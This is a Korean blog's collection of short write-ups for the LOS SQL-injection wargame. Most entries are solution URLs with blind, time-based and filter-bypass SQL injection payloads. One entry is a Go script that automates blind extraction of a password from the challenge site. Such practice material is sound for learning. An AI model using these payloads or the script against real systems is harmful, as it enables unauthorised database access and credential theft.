http://los.sandbox.cash/chall/golem_9433f16f7a3899d7cf3fe48330f22018.php?pw=%27||ascii(right(left(pw,9),1))%3C100%20%26%26id%20like%20%27admin%27%23

'War Game > LOS' 카테고리의 다른 글

LOS DARKKNIGHT  (0) 2015.10.22
LOS SKELETON  (0) 2015.10.19
LOS Troll  (0) 2015.09.16
LOS ORGE  (0) 2015.09.14
LOS DarkElf  (0) 2015.09.14

http://los.sandbox.cash/chall/troll_4db5bdeebb8a99cbe4534cf1fcfc37eb.php?id=Admin

'War Game > LOS' 카테고리의 다른 글

LOS SKELETON  (0) 2015.10.19
LOS GOELM  (0) 2015.10.19
LOS ORGE  (0) 2015.09.14
LOS DarkElf  (0) 2015.09.14
LOS wolfman  (0) 2015.09.14

http://los.sandbox.cash/chall/orge_724bc99aec5d0ec3664912dfacdca45a.php?pw=1%27||id=0x61646d696e%26%26ascii(substr(pw,8,1))%3C=100%23

'War Game > LOS' 카테고리의 다른 글

LOS GOELM  (0) 2015.10.19
LOS Troll  (0) 2015.09.16
LOS DarkElf  (0) 2015.09.14
LOS wolfman  (0) 2015.09.14
LOS ORC  (0) 2015.09.14

https://los.rubiya.kr/chall/darkelf_c6a5ed64c4f6a7a5595c24977376136b.php?pw=1%27||id=0x61646d696e%0a%26%26ascii(substr(pw,1,1))%3C=150%23

'War Game > LOS' 카테고리의 다른 글

LOS Troll  (0) 2015.09.16
LOS ORGE  (0) 2015.09.14
LOS wolfman  (0) 2015.09.14
LOS ORC  (0) 2015.09.14
LOS goblin  (0) 2015.09.14

https://los.rubiya.kr/chall/wolfman_4fdc56b75971e41981e3d1e2fbe9b7f7.php?pw=1%27%0aor%0aid=0x61646d696e%23

'War Game > LOS' 카테고리의 다른 글

LOS ORGE  (0) 2015.09.14
LOS DarkElf  (0) 2015.09.14
LOS ORC  (0) 2015.09.14
LOS goblin  (0) 2015.09.14
LOS Rubiya  (0) 2015.08.16

https://los.rubiya.kr/chall/orc_60e5b360f95c1f9688e4f3a86c5dd494.php?pw=%27%20or%20%20ascii(substr(pw,1,1))%3C150%23



package main


import (

"bytes"

"fmt"

"io/ioutil"

"log"

"net/http"

"regexp"

"strconv"

"time"

)


const COOKIEVALUE string = ""


var limit int = 50

var index int = 0

var payload []string

var pwLength int = 0


func main() {

//requestPost()

getLength(50)

fmt.Println(strconv.Itoa(pwLength))

index = 0

blidSqlInjection(0, 0)

fmt.Println("%v", payload)

}


func matchFind(targetString string) bool {

r, _ := regexp.Compile("<h2>Hello.*</h2>")

var result []string


result = r.FindAllString(targetString, -1)

if len(result) > 0 {

return true

} else {

return false

}

}


func requestPost() {

url := "https://los.rubiya.kr/gate.php"


data := []byte(`{"hello": "world"}`)


req, err := http.NewRequest("POST", url, bytes.NewBuffer(data))

if err != nil {

log.Fatal("Error reading request. ", err)

}


// Set headers

req.Header.Set("Content-Type", "application/json")

req.Header.Set("Host", "httpbin.org")


// Create and Add cookie to request

cookie := http.Cookie{Name: "PHPSESSID", Value: COOKIEVALUE}

req.AddCookie(&cookie)


// Set client timeout

client := &http.Client{Timeout: time.Second * 10}


// Validate cookie and headers are attached

fmt.Println(req.Cookies())

fmt.Println(req.Header)


// Send request

resp, err := client.Do(req)

if err != nil {

log.Fatal("Error reading response. ", err)

}

defer resp.Body.Close()


fmt.Println("response Status:", resp.Status)

fmt.Println("response Headers:", resp.Header)


body, err := ioutil.ReadAll(resp.Body)

if err != nil {

log.Fatal("Error reading body. ", err)

}


fmt.Printf("%s\n", body)


}


func getLength(start int) int {

//https://los.rubiya.kr/chall/orc_60e5b360f95c1f9688e4f3a86c5dd494.php?pw=%27%20or%20%20ascii(substr(pw,1,1))%3C150%23


if index >= limit || start == 0 {

return -1

}

url1 := "https://los.rubiya.kr/chall/orc_60e5b360f95c1f9688e4f3a86c5dd494.php?pw=pw=%27%20or%20%20length(pw)="

url2 := strconv.Itoa(start) + "%23"


data := []byte(`{"hello": "world"}`)


url := url1 + url2

fmt.Println("Request URL : ", url)

req, err := http.NewRequest("GET", url, bytes.NewBuffer(data))

if err != nil {

log.Fatal("Error reading request. ", err)

}


// Set headers

req.Header.Set("Content-Type", "application/json")


// Create and Add cookie to request

cookie := http.Cookie{Name: "PHPSESSID", Value: COOKIEVALUE}

req.AddCookie(&cookie)


// Set client timeout

client := &http.Client{Timeout: time.Second * 10}


// Send request

resp, err := client.Do(req)

if err != nil {

log.Fatal("Error reading response. ", err)

}

defer resp.Body.Close()


//fmt.Println("response Status:", resp.Status)


body, err := ioutil.ReadAll(resp.Body)

if err != nil {

log.Fatal("Error reading body. ", err)

}


matchResult := matchFind(string(body))


if matchResult == true {

fmt.Println("Length : ", strconv.Itoa(start))

pwLength = start

return start

}


index++


if matchResult == true {

getLength(start / 2)

} else {

getLength(start - 1)

}


return -1

}


func blidSqlInjection(start int, pwIndex int) int {

//https://los.rubiya.kr/chall/orc_60e5b360f95c1f9688e4f3a86c5dd494.php?pw=%27%20or%20%20ascii(substr(pw,1,1))%3C150%23


fmt.Println(index, start, pwLength, pwIndex)

if start == pwLength && pwLength == pwIndex {

return -1

}


if pwLength < pwIndex {

return -1

}

url1 := "https://los.rubiya.kr/chall/orc_60e5b360f95c1f9688e4f3a86c5dd494.php?pw=pw=%27%20or%20%20ascii(substr(pw," + strconv.Itoa(pwIndex) + ",1))="

url2 := strconv.Itoa(start) + "%23"


data := []byte(`{"hello": "world"}`)


url := url1 + url2

fmt.Println("Request URL : ", url)

req, err := http.NewRequest("GET", url, bytes.NewBuffer(data))

if err != nil {

log.Fatal("Error reading request. ", err)

}


// Set headers

req.Header.Set("Content-Type", "application/json")


// Create and Add cookie to request

cookie := http.Cookie{Name: "PHPSESSID", Value: COOKIEVALUE}

req.AddCookie(&cookie)


// Set client timeout

client := &http.Client{Timeout: time.Second * 10}


// Send request

resp, err := client.Do(req)

if err != nil {

log.Fatal("Error reading response. ", err)

}

defer resp.Body.Close()


//fmt.Println("response Status:", resp.Status)


body, err := ioutil.ReadAll(resp.Body)

if err != nil {

log.Fatal("Error reading body. ", err)

}


matchResult := matchFind(string(body))


index++

if matchResult == true {

//fmt.Println("Length : ", strconv.Itoa(start))

//return start

payload = append(payload, string(start))

blidSqlInjection(0, pwIndex+1)

} else {

blidSqlInjection(start+1, pwIndex)

}


return -1

}



'War Game > LOS' 카테고리의 다른 글

LOS DarkElf  (0) 2015.09.14
LOS wolfman  (0) 2015.09.14
LOS goblin  (0) 2015.09.14
LOS Rubiya  (0) 2015.08.16
LOS Evil_Wizard  (0) 2015.08.16

https://los.rubiya.kr/chall/goblin_e5afb87a6716708e3af46a849517afdc.php?no=TRUE%20||%20id=0x61646d696e%20limit%201,2

'War Game > LOS' 카테고리의 다른 글

LOS wolfman  (0) 2015.09.14
LOS ORC  (0) 2015.09.14
LOS Rubiya  (0) 2015.08.16
LOS Evil_Wizard  (0) 2015.08.16
LOS NightMare  (0) 2015.08.16

지금 사이트에선 문제이름이 바뀐듯 하지만 맨 마지막 문제


막 flag값이 변하고 임시 테이블 만들고 복잡한 문제지만 sleep() 서브쿼리?였던가 에러를 내서 더이상 테이블에서 flag값을 업데이트 못하게 막은 다음 sleep()가로 안에서 flag값을 비교해서 풀었던걸로 기억한다. 정확한 풀이는 기억이 안남 그럼 20000

'War Game > LOS' 카테고리의 다른 글

LOS ORC  (0) 2015.09.14
LOS goblin  (0) 2015.09.14
LOS Evil_Wizard  (0) 2015.08.16
LOS NightMare  (0) 2015.08.16
LOS Hell_Fire  (0) 2015.08.16

http://leaveret.kr/los/evil_wizard_32e3d35835aa4e039348712fb75169ad.php?limit=1%20procedure%20analyse(extractvalue(1,concat(0x3a,(select%20(if(substr(lpad(bin(ord(substr((select%20pw%20from%20probevilwizard%20limit%201,1),"+str(j)+",1))),8,%270%27),"+str(i)+",1),benchmark(16000000,MD5(CHAR(118))),2))))),1)%23


전 문제랑 똑같음 다만 Time Base 여서 benchmark로 풀어야한다 

진우한테 받은 풀이같은데 앞으로 더 갈궈야지 ㅋㅋㅋㅋㅋㅋ

'War Game > LOS' 카테고리의 다른 글

LOS goblin  (0) 2015.09.14
LOS Rubiya  (0) 2015.08.16
LOS NightMare  (0) 2015.08.16
LOS Hell_Fire  (0) 2015.08.16
LOS Xavis  (0) 2015.08.16

http://leaveret.kr/los/nightmare_be1285a95aa20e8fa154cb977c37fee5.php?pw=%27)|0;%00


;%00이 주석처리문자


http://los.sandbox.cash/chall/nightmare_a72d12e4f9c7c341cb6fe36881f7be01.php?pw=%27)=0;%00


사이트가 이전된후론 전 풀이가 먹히지 않는데 

| 와 ^ 연산은 안먹히고 =이 먹힌다.


원래는 문자열과 0을 | 이나 ^ 연산 하게되면 참이 되는 점을 이용한 문제인데 여기선 문자열과0 을 참으로 비교해도 참이 되는 점을 이용했다.

'War Game > LOS' 카테고리의 다른 글

LOS Rubiya  (0) 2015.08.16
LOS Evil_Wizard  (0) 2015.08.16
LOS Hell_Fire  (0) 2015.08.16
LOS Xavis  (0) 2015.08.16
LOS Iron_Golem  (0) 2015.08.16

+ Recent posts